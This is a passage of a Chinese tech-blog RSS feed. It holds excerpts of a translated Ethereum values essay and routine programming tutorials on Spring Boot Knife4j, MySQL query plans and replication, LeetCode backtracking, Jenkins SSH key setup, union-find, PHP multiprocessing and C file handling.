，你可以想象人们会以各种方式（包括非金融方式）制作各种使用区块链的应用程序。但是，当交易费涨到100美元以上时，就像牛市高峰期那样，恰恰有一种人仍然愿意参与游戏--事实上，由于币价上涨，他们变得越来越富有，因此变得更愿意参与游戏：Degen赌徒。在适度情况下，「Degen赌徒」是可以接受的，我曾在一些活动中与很多人交谈过，他们加入加密货币的动机是为了钱，但留下来是为了理想。但是，当他们成为大规模使用该链的最大群体时，这就会调整公众的看法和加密空间的内部文化，并导致我们在过去几年中看到的许多其他负面影响。&#xA;现在，快进到2023 年。无论是在规模化这一核心挑战上，还是在对构建一个真正可行的密码朋克未来至关重要的各种「支线任务」上，我们实际上有很多积极的消息可以展示：&#xA;Rollup项目开始真正存在。&#xA;在Tornado Cash受到监管部门打击后，出现暂时停滞，但第二代隐私解决方案（如Railway和Nocturne）正在迎来曙光。&#xA;账户抽象开始兴起。&#xA;被遗忘已久的轻客户端开始真正出现。&#xA;零知识证明，一项我们认为几十年后才会出现的技术，现在已经出现，而且对开发者越来越友好，并且正处于可用于消费者应用程序的风口浪尖上。&#xA;这两件事：人们越来越意识到，「加密货币的本质」不可能是无节制的中心化和过度金融化，而上述关键技术也最终要实现了。也就是说，至少要让以太坊生态系统的一部分真正成为无许可、去中心化、抗审查、开源的生态系统，这才是我们最初要建立的愿景。&#xA;其中有哪些价值观？&#xA;其中许多价值观不仅为以太坊社区的许多人所共享，也为其他区块链社区，甚至非区块链去中心化社区所共享，尽管每个社区都有自己独特的价值观组合以及对每种价值观的重视程度。&#xA;全球开放式参与：世界上任何人都应能够作为用户、观察员或开发者，在最大程度上平等参与。参与应是无许可的。&#xA;去中心化：尽量减少应用程序对任何单一行为者的依赖。特别是，即使核心开发人员永远消失，应用程序也应继续运行。&#xA;抵抗审查：中心化的参与者不应有权干涉任何用户或应用程序的运行能力。应在堆栈的更高层次解决与不良行为者有关的问题。&#xA;可审计性：任何人都应能够验证应用程序的逻辑及其持续运行（例如，通过运行一个完整的节点），以确保其按照开发人员声称的规则运行。&#xA;可信的中立性：基础层基础设施应该是中立的，即使任何人不信任开发者，也能看出它是中立的。&#xA;构建工具，而不是帝国。帝国试图俘获用户，把他们困在一个有围墙的花园里；而工具只能完成自己的任务，除此之外，还要与更广泛的开放生态系统进行互操作。&#xA;合作心态：即使在竞争的同时，生态系统内的项目也会在共享软件库、研究、安全、社区建设和对它们来说有共同价值的领域开展合作。项目试图在彼此之间以及与更广阔的世界之间努力实现正和。&#xA;在加密生态系统中，有可能出现不遵循这些价值观的情况。我们可以建立一个被称为「Layer 2」的系统，但它实际上是一个高度集中的系统，由多重身签名（multisig）提供安全保护，而且没有计划切换到更安全的系统。人们可以建立一个账户抽象系统，试图比ERC-4337 更「简单」，但代价是引入信任假设，最终消除了公共内存池的可能性，并使新的构建者更难加入。我们可以建立一个NFT生态系统，在这个系统中，NFT的内容不必要地存储在中心化网站上，从而使其比存储在IPFS上的内容更加脆弱。我们可以建立一个质押界面，不必要地将用户引向已经最大的质押池。&#xA;抵制这些压力很难，但如果我们不这样做，那么我们就有可能失去加密生态系统的独特价值，并以额外的低效和额外的步骤重新创建一个克隆版的现有Web2生态系统。&#xA;制造忍者神龟需要下水道&#xA;加密货币领域在很多方面都是一个无情的环境。丹-罗宾逊（Dan Robinson）和乔治欧斯-康斯坦丁奥普洛斯（Georgios Konstantiopoulos）在 2021 年发表的一篇文章在MEV的背景下生动地表达了这一点，文章认为以太坊是一片黑暗森林，链上交易者经常容易被前台运行的机器人利用，这些机器人本身也容易被其他机器人反利用等。在其他方面也是如此：智能合约经常被黑客攻击，用户的钱包经常被黑客攻击，中心化交易所的失败更加惊人等等。&#xA;这对该领域的用户来说是一个巨大挑战，但同时也带来了机遇：这意味着我们有一个领域，可以对各种安全技术进行实际实验、孵化并获得快速的实时反馈，以应对这些挑战。我们已经看到在各种情况下成功应对挑战的案例：&#xA;每个人都希望互联网是安全的。有些人试图通过推行一些方法来确保互联网安全，这些方法迫使人们依赖于一个单一的特定行为者，无论是公司还是政府，它们都可以充当安全和真理的中心化锚。但这些方法牺牲了开放性和自由，造成「分裂网络」日益增长的悲剧。加密货币领域的人们高度重视开放性和自由性。这意味着加密领域不能忽视安全，但各种意识形态和结构性原因确保了加密领域无法采用中心化式方法来实现安全。与此同时，加密货币领域正处于零知识证明、形式验证、基于硬件的密钥安全和链上社交图谱等强大技术的前沿。这些事实共同意味着，对于加密技术来说，提高安全性的开放方式是唯一的途径。&#xA;所有这一切都说明，加密世界是一个完美的试验平台环境，可以将其开放和去中心化的安全方法实际应用于现实的高风险环境中，并使其成熟到可以在更广阔的世界中应用的程度。这就是我的愿景之一，即加密世界的理想主义部分和加密世界的混乱部分，以及整个加密世界和更广泛的主流世界，如何将它们之间的差异转化为共生关系，而不是持续不断的紧张关系。&#xA;以太坊是更广泛技术愿景的一部分&#xA;2014年，加文-伍德（Gavin Wood）介绍说，以太坊是可以构建的一整套工具之一，另外两个是Whisper（去中心化消息传递）和Swarm（去中心化存储）。前者备受重视，但遗憾的是，随着2017年前后金融化转向，后者受到的喜爱和关注要少得多。尽管如此，Whisper仍以Waku的形式继续存在，并被去中心化信使Status等项目积极使用。Swarm还在继续开发，现在我们也有了IPFS，它被用来托管和服务本博客。&#xA;最近几年，随着去中心化社交媒体（Lens、Farcaster等）的兴起，我们有机会重新审视其中一些工具。此外，我们还有另一个非常强大的新工具加入到三部曲中：零知识证明。这些技术作为提高以太坊可扩展性的方法被广泛采用，如ZK Rollups，但它们在隐私保护方面也非常有用。特别是，零知识证明的可编程性意味着我们可以摆脱「匿名但有风险」与「KYC因此安全」的错误二元对立关系，同时获得隐私和多种身份验证。&#xA;2023 年的一个例子是Zupass。Zupass是Zuzalu公司孵化的一个基于零知识验证的系统，既可用于活动的现场认证，也可用于投票系统Zupoll、Twitter外观类似的Zucast等的在线认证。Zupass 的主要特点是：您可以证明自己是Zuzalu的居民，而无需透露自己是Zuzalu的哪位成员。此外，每个Zuzalu居民只能为他们登录的每个应用程序实例（如投票）拥有一个随机生成的加密身份。Zupass取得了巨大成功，并在今年晚些时候应用于Devconnect售票服务。</description>
    </item>
    <item>
      <title>Spring Boot 整合 Knife4j（快速上手）</title>
      <link>https://bchobby.github.io/posts/ccc049bbcd4829e45893f78e19fad147/</link>
      <pubDate>Fri, 29 Dec 2023 12:14:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ccc049bbcd4829e45893f78e19fad147/</guid>
      <description>关于 Knife4j 官方文档：https://doc.xiaominfo.com/&#xA;Knife4j是一个基于Swagger的API文档生成工具，它提供了一种方便的方式来为Spring Boot项目生成在线API文档。Knife4j的特点包括：&#xA;自动化生成：通过Swagger注解，Knife4j可以自动解析API接口并生成对应的文档页面，无需手动编写文档。在线编辑和展示：Knife4j提供了在线编辑API文档的功能，可以方便地查看和测试API接口。可定制性：可以根据项目需求定制文档的展示样式和内容，满足不同项目的需求。方便集成：通过Spring Boot Starter的方式，可以方便地集成到Spring Boot项目中，无需额外的配置。 总之，Knife4j是一个方便、灵活且功能丰富的API文档生成工具，可以帮助开发团队快速生成和维护API文档。&#xA;整合 Knife4j 添加 Knife4j 依赖 &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.github.xiaoymin&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;knife4j-openapi2-spring-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;4.0.0&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 配置 Knife4j 文档 第一种方式：Java 配置类&#xA;@Configuration @EnableSwagger2WebMvc public class Knife4jConfiguration { private ApiInfo commonApiInfo() { return new ApiInfoBuilder() .title(&#34;knife4j 接口文档测试&#34;) .description(&#34;Knife4j是一款基于Swagger的API文档在线编辑工具，它为Java开发人员提供了一种简单而强大的方式来创建、编辑和管理API文档。Knife4j可以帮助开发人员快速生成和展示API文档，提供了友好的界面和丰富的功能，包括接口测试、在线调试、文档管理等。它还支持对Swagger注解的解析，能够自动生成API文档，并提供了一些扩展功能，如接口权限设置、数据模型展示等。Knife4j可以帮助开发团队更好地管理和维护API文档，提高开发效率和协作能力。&#34;) .contact(&#34;hwike@foxmail.com&#34;) .version(&#34;1.0&#34;) .build(); } @Bean(value = &#34;dockerBeanAdmin&#34;) public Docket dockerBeanAdmin() { //指定使用Swagger2规范 Docket docket=new Docket(DocumentationType.SWAGGER_2) .apiInfo(commonApiInfo()) //分组名称 .groupName(&#34;后台接口分组&#34;) .select() //这里指定Controller扫描包路径 .apis(RequestHandlerSelectors.basePackage(&#34;com.itwenke.springbootdemo.knife4j.admin&#34;)) .paths(PathSelectors.any()) .build(); return docket; } @Bean(value = &#34;</description>
    </item>
    <item>
      <title>MYSQL 深入探索系列六 SQL执行计划</title>
      <link>https://bchobby.github.io/posts/2a06ea40de0770ec61dc184c88703446/</link>
      <pubDate>Fri, 29 Dec 2023 12:12:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2a06ea40de0770ec61dc184c88703446/</guid>
      <description>概述 好久不见了，近期一直在忙项目的事，才有时间写博客，近期频繁出现sql问题，今天正好不忙咱们看看千万级别的表到底该如何优化sql。&#xA;案例 近期有个小伙伴生产环境收到了告警，有个6千万的日志表，查询耗时大概120秒，之前都好好的，条件也很简单（操作人和被操作人），我们查看sql的执行计划，发现它走的主键索引，operatorName和userName建立了联合索引按说应该走这个索引的呀。&#xA;sql 如下，条件很简单。&#xA;SELECT * from recover_log where operatorName=&#34;&#34; and userName=&#34;&#34; ORDER BY id LIMIT 10 我们看下他的执行计划：&#xA;mysql&amp;gt; EXPLAIN SELECT * from recover_log where operatorName=&#34;&#34; and userName=&#34;&#34; ORDER BY id LIMIT 10; +----+-------------+-------------+------------+-------+---------------+---------+---------+------+------+----------+-------------+ | id | select_type | table | partitions | type | possible_keys | key | key_len | ref | rows | filtered | Extra | +----+-------------+-------------+------------+-------+---------------+---------+---------+------+------+----------+-------------+ | 1 | SIMPLE | recover_log | NULL | index | NULL | PRIMARY | 8 | NULL | 10 | 1 | Using where | +----+-------------+-------------+------------+-------+---------------+---------+---------+------+------+----------+-------------+ 1 row in set 上面的执行计划中，直接采用的主键索引，那为什么这么慢呢？按说应该用到联合索引的呀，我们通过force index强制走联合索引后sql耗时20ms。</description>
    </item>
    <item>
      <title>7.6分割回文串（LC131-M）</title>
      <link>https://bchobby.github.io/posts/8e102cd3232d2bc6d64e81ca977501b3/</link>
      <pubDate>Fri, 29 Dec 2023 12:07:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8e102cd3232d2bc6d64e81ca977501b3/</guid>
      <description>算法： 有很多分割结果，按照for循环去做肯定做不来&#xA;这个时候就要想到回溯！那就要画树！&#xA;画树 分割的画树过程其实和组合很像。&#xA;例如对于字符串aab：&#xA;组合问题：选取一个a之后，在ab中再去选取第二个，选取a之后b中再选取第三个.....。切割问题：切割一个a之后，在ab中再去切割第二段，切割a之后在b再切割第三段.....。 回溯三部曲： 1.确定返回值和参数 返回值：void&#xA;参数：&#xA;string s 题目自带的&#xA;int startindex 确定每次递归从哪个字符开始切割&#xA;2.确定终止条件 切割到字符串最后，就是终止&#xA;startindex就是切割线：&#xA;startindex &amp;gt;= s.length()&#xA;并且要收集结果&#xA;3.单层递归逻辑： 子串怎么表示的？&#xA;答：[startindex, i]&#xA;i是这样定义的：&#xA;for (int i = startIndex; i &amp;lt; s.length(); i++)&#xA;收集结果：&#xA;若子串是回文（要定义一个新的函数，判断子串是否为回文），&#xA;将子串add入path，收集&#xA;若不是回文，continue，跳出该递归&#xA;递归：&#xA;注意切割过的位置，不能重复切割，所以，backtracking(s, i + 1); 传入下一层的起始位置为i + 1&#xA;backtracking (s, i+1)&#xA;回溯：&#xA;弹出本次已经添加的子串&#xA;path.removeLast()&#xA;判断回文子串 最后我们看一下回文子串要如何判断了，判断一个字符串是否是回文。&#xA;可以使用双指针法，一个指针从前向后，一个指针从后向前，如果前后指针所指向的元素是相等的，就是回文字符串了。&#xA;调试过程： 第一次调试： class Solution { //全局变量path和result List&amp;lt;List&amp;lt;String&amp;gt;&amp;gt; result = new LinkedList&amp;lt;&amp;gt;(); List&amp;lt;String&amp;gt; path = new LinkedList&amp;lt;&amp;gt;(); public List&amp;lt;List&amp;lt;String&amp;gt;&amp;gt; partition(String s) { backtracking (s, 0); return result; } void backtracking (String s, int startindex){ //终止条件，收集结果 if (startindex &amp;gt;= s.</description>
    </item>
    <item>
      <title>MYSQL分库分表常见问题</title>
      <link>https://bchobby.github.io/posts/ef70a7dc0555550cd17527c8cc1d029a/</link>
      <pubDate>Fri, 29 Dec 2023 12:03:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ef70a7dc0555550cd17527c8cc1d029a/</guid>
      <description> 什么是分库 分库：是将一个数据库分成多个数据库，但是总表数不变，部署到不同机器，这样可以分担数据库的读写压力，提高系统的吞吐能力。&#xA;什么是分表 分表：就是一个表分成多个表，但是总体的库不变，这样可以减少单个表的数据量，提高查询性能。&#xA;分库+分表 分库+分表是指库和表都切分，数量都发生变化，这种情况说明数据量已经达到一定程度，无论进行哪种单独的切分都会产生性能瓶颈。 如下图所示原数据库DB中有张user表，将表切成4份然后平分到2个数据库上。&#xA;为什么要分库分表 可以解决海量数据运维管理&#xA;可以在海量数据里高效查询&#xA;可以解决高并发下性能瓶颈&#xA;提高系统的可伸缩性和可扩展性&#xA;什么时候需要分库分表 单实例性能到达瓶颈&#xA;单库容量超过2T&#xA;单表数据超过800W&#xA;年增量千万级&#xA;分片算法/工具 案例分享一 运营商登录服务： 手机号表按照省份分表（31个表），即便这样对于广东省仍然有9千万的数据量，然后再水平分片（18个分片），按照单表不超800w的原则进行划分。 整体分库+分表如下图：&#xA;案例分享二&#xA;分库分表后这些坑你踩过么 分布式事务、 广播sql 跨分片的join查询、 主键生成问题 、 扩容问题、 热点库表问题 、 数据严重倾斜 、 聚合、复杂性查询、报表等问题 、 多IDC数据同步问题等等&#xA;如何解决、躲避这些问题 总结 </description>
    </item>
    <item>
      <title>vscode 支持c,c&#43;&#43;编译调试方法</title>
      <link>https://bchobby.github.io/posts/894d05444d6cce844c6b3f55f27c083e/</link>
      <pubDate>Fri, 29 Dec 2023 11:51:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/894d05444d6cce844c6b3f55f27c083e/</guid>
      <description>概述：tasks.jason launch.json settings.json一定要有，没有就别想跑。还有就是c 和c++配置有区别，切记，下文有说&#xA;1.安装扩展插件。&#xA;2.安装编译器，gcc.我用的是x86_64-8.1.0-release-win32-seh-rt_v6-rev0.7z ，直接解压缩到你喜欢的目录，然后在环境变量里面添加即可。&#xA;3.找个目录，创建一个c或者c++文件。&#xA;4.将目录打开，可以选择在c/c++文件目录下右键，vscode打开即可。然后可以在目录下看到.vscode文件夹，下面就是一些脚本，可以改。&#xA;5.c和c++不太一样。在tasks.json 里面（如果没有，自己创建，一共三个文件，在第7点里面）。&#xA;6.碰到的问题点。如果细致一点，按下操作，如果不想麻烦，直接在第7点，文章末尾三个文件直接创建和我一样的就行了。&#xA;然后拷贝我的tasks目录进去就好了。&#xA;7.我的三个目录的代码是&#xA;tasks.json&#xA;{ &#34;version&#34;: &#34;2.0.0&#34;, &#34;tasks&#34;: [ { &#34;type&#34;: &#34;shell&#34;, &#34;label&#34;: &#34;compile&#34;, &#34;command&#34;: &#34;gcc&#34;, &#34;args&#34;: [ &#34;-g&#34;, &#34;${file}&#34;, &#34;-o&#34;, &#34;${fileDirname}\\${fileBasenameNoExtension}.exe&#34; ], &#34;problemMatcher&#34;: [ &#34;$gcc&#34; ], &#34;group&#34;: { &#34;kind&#34;: &#34;build&#34;, &#34;isDefault&#34;: true } } ] } settings.json&#xA;{ &#34;C_Cpp_Runner.cCompilerPath&#34;: &#34;gcc&#34;, &#34;C_Cpp_Runner.cppCompilerPath&#34;: &#34;g++&#34;, &#34;C_Cpp_Runner.debuggerPath&#34;: &#34;gdb&#34;, &#34;C_Cpp_Runner.cStandard&#34;: &#34;&#34;, &#34;C_Cpp_Runner.cppStandard&#34;: &#34;&#34;, &#34;C_Cpp_Runner.msvcBatchPath&#34;: &#34;&#34;, &#34;C_Cpp_Runner.useMsvc&#34;: false, &#34;C_Cpp_Runner.warnings&#34;: [ &#34;-Wall&#34;, &#34;-Wextra&#34;, &#34;-Wpedantic&#34;, &#34;</description>
    </item>
    <item>
      <title>面试官：说一下MySQL主从复制的原理？</title>
      <link>https://bchobby.github.io/posts/c520c61ef0c4d4cbefe46442eda4b2dc/</link>
      <pubDate>Fri, 29 Dec 2023 11:50:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c520c61ef0c4d4cbefe46442eda4b2dc/</guid>
      <description>本文内容已收录至我的面试网站：www.javacn.site&#xA;MySQL 主从复制（Master-Slave Replication）是一种数据复制技术，用于在多个数据库服务器之间的数据同步。在主从复制架构中，一个服务器被设置为主服务器（Master），充当数据源，其他服务器被设置为从服务器（Slave），用来复制主服务器的数据。&#xA;1.主从复制优点 主从复制的主要优点有以下几个：&#xA;高可用性：通过将主数据库的数据复制到一个或多个从数据库，可以在主数据库故障时快速切换到从数据库，以实现系统的高可用性和容错能力，从而保证系统的持续可用性。&#xA;提高整体性能和吞吐量：通过将读请求分散到多个从服务器上进行处理，从而减轻了主服务器的负载压力，提高数据库系统的整体性能和吞吐量。主服务器主要负责写操作，而从服务器主要负责读操作，从而分担了主服务器的压力。&#xA;数据备份和恢复：通过主从同步，可以将主服务器上的数据异步复制到从服务器上，从而实现数据备份和灾难恢复的需求。在应对意外数据丢失、灾难恢复或误操作时，可以使用从服务器作为数据的备份源来进行数据恢复。&#xA;2.如何实现主从复制？ ① 配置并重启主服务器 在主服务器的配置文件（my.cnf）中添加以下参数：&#xA;“ [mysqld] server-id = 1 # 设置服务器 ID，每个主服务器和从服务器都必须有唯一的 ID log_bin = /var/log/mysql/mysql-bin.log # 开启二进制日志，记录数据修改操作&#xA;” 以上配置完成之后，重启 MySQL 服务器，因为重启了 MySQL 服务才能让配置生效。&#xA;② 创建用于主从复制的用户 登录到主服务器上，执行以下命令：&#xA;CREATE USER &#39;repl&#39;@&#39;%&#39; IDENTIFIED BY &#39;password&#39;; -- 替换为实际的用户名和密码 GRANT REPLICATION SLAVE ON *.* TO &#39;repl&#39;@&#39;%&#39;; ③ 查看主服务器状态 在 MySQL 主服务器中，执行以下命令，记录下 File 和 Position 的值，后续用于配置从服务器：&#xA;SHOW MASTER STATUS; ④ 配置并重启从服务器 在从服务器的配置文件（my.cnf）中添加以下参数：&#xA;“ [mysqld] server-id = 2 # 设置服务器 ID，每个主服务器和从服务器都必须有唯一的 ID</description>
    </item>
    <item>
      <title>jenkins 配置git 提示“无法连接仓库：Command “git ls-remote -h -- gitxxxxxxxxx status code 128”</title>
      <link>https://bchobby.github.io/posts/9ca1accbdf896b48a029da1d0305dca0/</link>
      <pubDate>Fri, 29 Dec 2023 11:44:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9ca1accbdf896b48a029da1d0305dca0/</guid>
      <description>jenkins 配置git 提示“无法连接仓库 无法连接仓库：Command “git ls-remote -h – git@codeup.aliyun.com:xxxxxxxxxxxxxxx/xxxxxx.git HEAD” returned status code 128:&#xA;stdout:&#xA;stderr: Load key “/tmp/jenkins-gitclient-ssh14549883685367104196.key”: error in libcrypto&#xA;git@codeup.aliyun.com: Permission denied (publickey).&#xA;fatal: Could not read from remote repository.&#xA;Please make sure you have the correct access rights&#xA;and the repository exists.&#xA;![(https://img-blog.csdnimg.cn/direct/a6d0f353eef34591b673d3dfd9dd5c14.png)&#xA;1.先切换到jenkins用户下（此时在jenkins安装目录下） 注意：这里我的jenkins启动用户是jenkins，如果是root则在root用户下生成密钥。那个用户启动用哪个用户生成！&#xA;sudo su -s /bin/bash jenkins cd ~ 2.生成新的ssh秘钥（生成PEM格式的私钥与公钥） ssh-keygen -m PEM -t rsa -f id_rsa # ssh-keygen -t rsa（这个不行） 3.复制生成的公钥到gitlab cat .</description>
    </item>
    <item>
      <title>【数据结构】图论与并查集</title>
      <link>https://bchobby.github.io/posts/91345cdcb8c171a8a7a04d9baf5af5c3/</link>
      <pubDate>Fri, 29 Dec 2023 11:33:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/91345cdcb8c171a8a7a04d9baf5af5c3/</guid>
      <description>一、并查集 1.原理 简单的讲并查集，就是查询两个个元素，是否在一个集合当中，这里的集合用树的形式进行表示。并查集的本质就是森林, 即多棵树。 我们再来简单的举个例子:&#xA;假设此时的你是大一新生，刚进入大学，肯定是先找到宿舍在哪里，然后跟寝室里面的舍友互相认识一下，先形成一个小团体。假设，宿舍总共6个人，也就是6个人的集合。几乎所有的大学生都是这样先跟周围的人进行联系起来的。然后辅导员召集班会，这时的你欣然前往，并在讲台上自信的介绍自己，然后吸引或者主动又认识了一群人。这时你或许又跟其它的人进行了关联，或成为了好友，或成为了恋人…… 下面我们用如上例子进行展开讨论：&#xA;宿舍六人，即六个人，如何判断两个人在同一个集合？ 如何进行实现？ 先来解决第一个问题，六个人，选出一个宿舍长，只要两个人的宿舍长是一样的，即可判断两个人在一个集合。再来解决第二个问题，既然宿舍长有了，我们都与这个宿舍长产生关联即可，即用树的形式进行表示，至于如何表示，我们可以用双亲表示法进行表示，即每个人记住其宿舍长的名字即可。更为形象的我们可以用下图进行表示：&#xA;更进一步，如何用计算机存储这种结构呢？我们只需对每个人名生成一个下标连续，用计算机进行存储即可。用下图进行直观的理解：&#xA;对这张图我们再说明一点，除0下标以外的其他位置存放的是指向代表孙八的下标，这个0处下标存的是集合的所有元素的个数，且存放的是负数形式，这样存有一个好处，我们可以由这个并查集中有多少负数，从而判断这个并查集中有多少个集合。 两个人产生关联，本质上是两个宿舍(集合)之间产生了关联，那两个宿舍如何进行关联起来呢？ 下面我们以图的形式更为清晰的进行表述：&#xA;也就是说因为宿舍的成员是以宿舍长联系起来的，那宿舍与宿舍之间，产生关联(合并)，就宿舍长之间认识一下，两个集合就间接的关联起来了。下图是具体的存储方式：&#xA;2.基本实现 根据上面的描述，我们可以作出大致总结：&#xA;数组进行存储表示树形结构。数组的下标对应着具体的信息(人名，编号等)。我们可以通过一个元素的下标的值不断往上查找，直到找到找到小于0的，即为根节点所在的位置。数组中负数的个数代表着集合的个数。判断两个元素是否在同一个集合，只需找到根的下标判断是否相等即可。将两个不同集合进行合并，其实就是找到根，然后进行更改一个根的指向与改变另一个根的元素个数即可。 由以上信息我们先可以搭建出实现并查集的大致框架：&#xA;2.1.基本框架 #include&amp;lt;iostream&amp;gt; #include&amp;lt;vector&amp;gt; #include&amp;lt;map&amp;gt; using namespace std; template&amp;lt;class T&amp;gt; class UnionFindSet { public: UnionFindSet(const T* arr, size_t size);//构造函数 int GetValueIndex(const T&amp;amp; val);//获取val所代表的下标。 void GetRoot(const T&amp;amp; val); //获取根节点的下标 void Union(const T&amp;amp; x1, const T&amp;amp; x2); //将两个元素的集合进行合并。 bool IsSameSet(const T&amp;amp; x1, const T&amp;amp; x2); //判断两个元素是否在同一个集合中 int GetSetSize(); //获取集合的元素 private: map&amp;lt;T, int&amp;gt; _indexHash; //map或者unordered_map都可以。用于快速将T转换为对应的下标。 vector&amp;lt;T&amp;gt; _createIndex; //用此数组对T类型元素生成下标。 vetor&amp;lt;int&amp;gt; _aggregate; //用于存放集合元素，即森林。 }; 2.</description>
    </item>
    <item>
      <title>php多进程处理任务</title>
      <link>https://bchobby.github.io/posts/3cbcb813abd2d3c5a9ab764657229d9c/</link>
      <pubDate>Fri, 29 Dec 2023 11:32:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3cbcb813abd2d3c5a9ab764657229d9c/</guid>
      <description>1.使用 pcntl 扩展 // 创建子进程 $childPids = []; for ($i = 0; $i &amp;lt; $numProcesses; $i++) { $pid = pcntl_fork(); if ($pid == -1) { die(&#39;Fork failed&#39;); } elseif ($pid == 0) { // 子进程执行的逻辑 // 处理任务 exit(0); } else { $childPids[] = $pid; } } // 等待子进程结束 foreach ($childPids as $pid) { pcntl_waitpid($pid, $status); } 2.使用进程池 // 创建进程池 $poolSize = 5; $pool = []; for ($i = 0; $i &amp;lt; $poolSize; $i++) { $pid = pcntl_fork(); if ($pid == -1) { die(&#39;Fork failed&#39;); } elseif ($pid == 0) { // 子进程执行的逻辑 while (true) { // 接收任务并处理 // 如果没有任务，则等待 } exit(0); } else { $pool[$pid] = true; } } // 分配任务给子进程 foreach ($tasks as $task) { while (true) { $pid = pcntl_waitpid(-1, $status, WNOHANG); if ($pid &amp;gt; 0) { $pool[$pid] = true; } foreach ($pool as $pid =&amp;gt; $busy) { if (!</description>
    </item>
    <item>
      <title>【C语言】文件操作详解</title>
      <link>https://bchobby.github.io/posts/7f05d9d858b7451d008c0cc69ced62ff/</link>
      <pubDate>Fri, 29 Dec 2023 11:26:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7f05d9d858b7451d008c0cc69ced62ff/</guid>
      <description>文章目录 前言为什么要使用文件？什么是文件？文件名二进制文件和文本文件文件的打开和关闭流和标准流文件指针常见的文件打开模式 文件的顺序读写文件的随机读写文件读取结束的判定文件缓冲区 总结 前言 提示：这里可以添加本文要记录的大概内容：&#xA;文件操作是C语言中一个至关重要的主题，它允许我们在程序中进行数据的读取、写入和处理。通过文件操作，我们能够实现数据的永久存储和跨程序传递。在这篇博客中，我们将深入探讨C语言中的文件操作，包括文件的打开、读写、关闭等基本操作，以及如何有效地处理文件以满足程序的需求。文件操作不仅是学习C语言的基础，也是构建实用程序和系统的关键一环。&#xA;提示：以下是本篇文章正文内容，下面案例可供参考&#xA;为什么要使用文件？ 在计算机编程和数据处理中，使用文件具有多方面的优势，使其成为不可或缺的工具。&#xA;永久性存储： 文件提供了一种在计算机关机或程序结束后仍能保留数据的方式。通过将数据存储在文件中，可以实现永久性的数据保存，使得数据在不同程序执行周期中保持不变。&#xA;数据共享： 文件是不同程序之间进行数据交换的通用方式。通过读写文件，不同的程序可以共享信息，实现数据的传递和共享。&#xA;备份和恢复： 文件为数据提供了备份和恢复的途径。通过定期创建文件备份，可以在数据丢失或损坏时进行恢复，确保数据的安全性和完整性。&#xA;数据持久性： 将数据存储在文件中使得程序可以在不同运行时点之间传递信息。这对于需要保留状态或历史数据的应用程序非常重要。&#xA;跨平台数据交互： 文件是在不同操作系统之间进行数据交互的通用方式。通过使用文件，可以实现数据在不同平台之间的无缝传递。&#xA;大规模数据存储： 对于大规模的数据，文件提供了一种高效管理和组织数据的方式。数据库系统等基于文件的数据存储结构，为大型数据集的管理提供了灵活性和性能优势。&#xA;总的来说，使用文件使得数据能够被持久化、共享、备份，并能够在不同环境中进行传递，为程序的可靠性和灵活性提供了关键支持。&#xA;什么是文件？ 文件的定义：&#xA;在计算机科学中，文件是存储在计算机上用于保存数据的一种资源。它是一系列有序的字节，用于存储信息、文本、图像、程序代码等。文件是计算机中数据的物理载体，通过文件，我们可以持久地存储和组织数据。&#xA;文件通常分为文本文件和二进制文件两种主要类型：&#xA;文本文件： 由字符组成，可以被文本编辑器直接阅读和编辑。文本文件包含可打印的字符，如字母、数字和符号，并且通常采用特定的字符编码（如UTF-8或ASCII）。&#xA;二进制文件： 以字节为基本单位，可以包含任意的数据，包括文本、图像、音频、视频等。与文本文件不同，二进制文件不能被文本编辑器直接解读，需要特定的程序进行处理。&#xA;文件可以存在于不同的存储介质中，例如硬盘、固态硬盘、光盘、网络存储等。每个文件都有一个唯一的标识符，通常是文件名，用于在文件系统中定位和访问该文件。&#xA;在C语言中，文件是通过文件指针（FILE指针）来表示和操作的。通过文件指针，可以打开文件、读写文件内容，并在使用完毕后关闭文件，释放系统资源。文件的概念贯穿于计算机科学的方方面面，是数据管理和交换的核心。&#xA;文件名 ⼀个文件要有一个唯一的文件标识，以便用户识别和引用。&#xA;文件名包含3部分：文件路径+文件名主干+文件后缀&#xA;例如： c:\code\test.txt&#xA;通常，文件标识常被称为文件名。&#xA;二进制文件和文本文件 二进制文件和文本文件的详细说明：&#xA;1. 二进制文件：&#xA;二进制文件是以字节（byte）为基本单位存储数据的文件类型。在二进制文件中，数据以二进制形式表示，可以包含任意类型的信息，包括文本、图像、音频、视频等。以下是二进制文件的一些特征：&#xA;数据表示： 数据以原始的二进制形式存储，不进行字符编码。每个字节可以表示0到255之间的一个值。&#xA;可包含任意数据类型： 二进制文件没有规定数据类型，可以包含任何形式的数据。这使得它适用于存储复杂的结构化数据。&#xA;不可读： 由于数据以原始形式存储，二进制文件通常不可读。使用文本编辑器打开二进制文件会显示乱码。&#xA;通常较小： 相比文本文件，二进制文件通常较小，因为它们不包含可打印字符或换行符。&#xA;例子： 图像文件（如JPEG、PNG）、音频文件（如MP3）、可执行文件（如.exe）等都是二进制文件的示例。&#xA;2. 文本文件：&#xA;文本文件是以文本形式存储的文件类型，其中的数据通常是可打印字符，如字母、数字和符号。以下是文本文件的一些特征：&#xA;字符编码： 文本文件使用字符编码（如UTF-8、ASCII）来表示字符。每个字符通常占用一个字节或更多。&#xA;只包含可打印字符： 文本文件通常只包含可打印字符和特殊字符（如换行符、制表符），不包含二进制数据。&#xA;可读性强： 由于使用字符编码，文本文件通常是可读的。使用文本编辑器可以轻松查看和编辑文本文件。&#xA;通常较大： 由于包含了可打印字符和字符编码，文本文件通常较大。&#xA;例子： 纯文本文件（如.txt、.csv）、源代码文件（如.c、.java）、HTML文件等都是文本文件的示例。&#xA;总的来说，二进制文件和文本文件在存储数据时采用不同的表示方式，具有不同的特性和用途。选择使用哪种文件类型取决于所需的数据结构和处理方式。&#xA;文件的打开和关闭 流和标准流 流（Stream）和标准流（Standard Streams）的详细说明：</description>
    </item>
    <item>
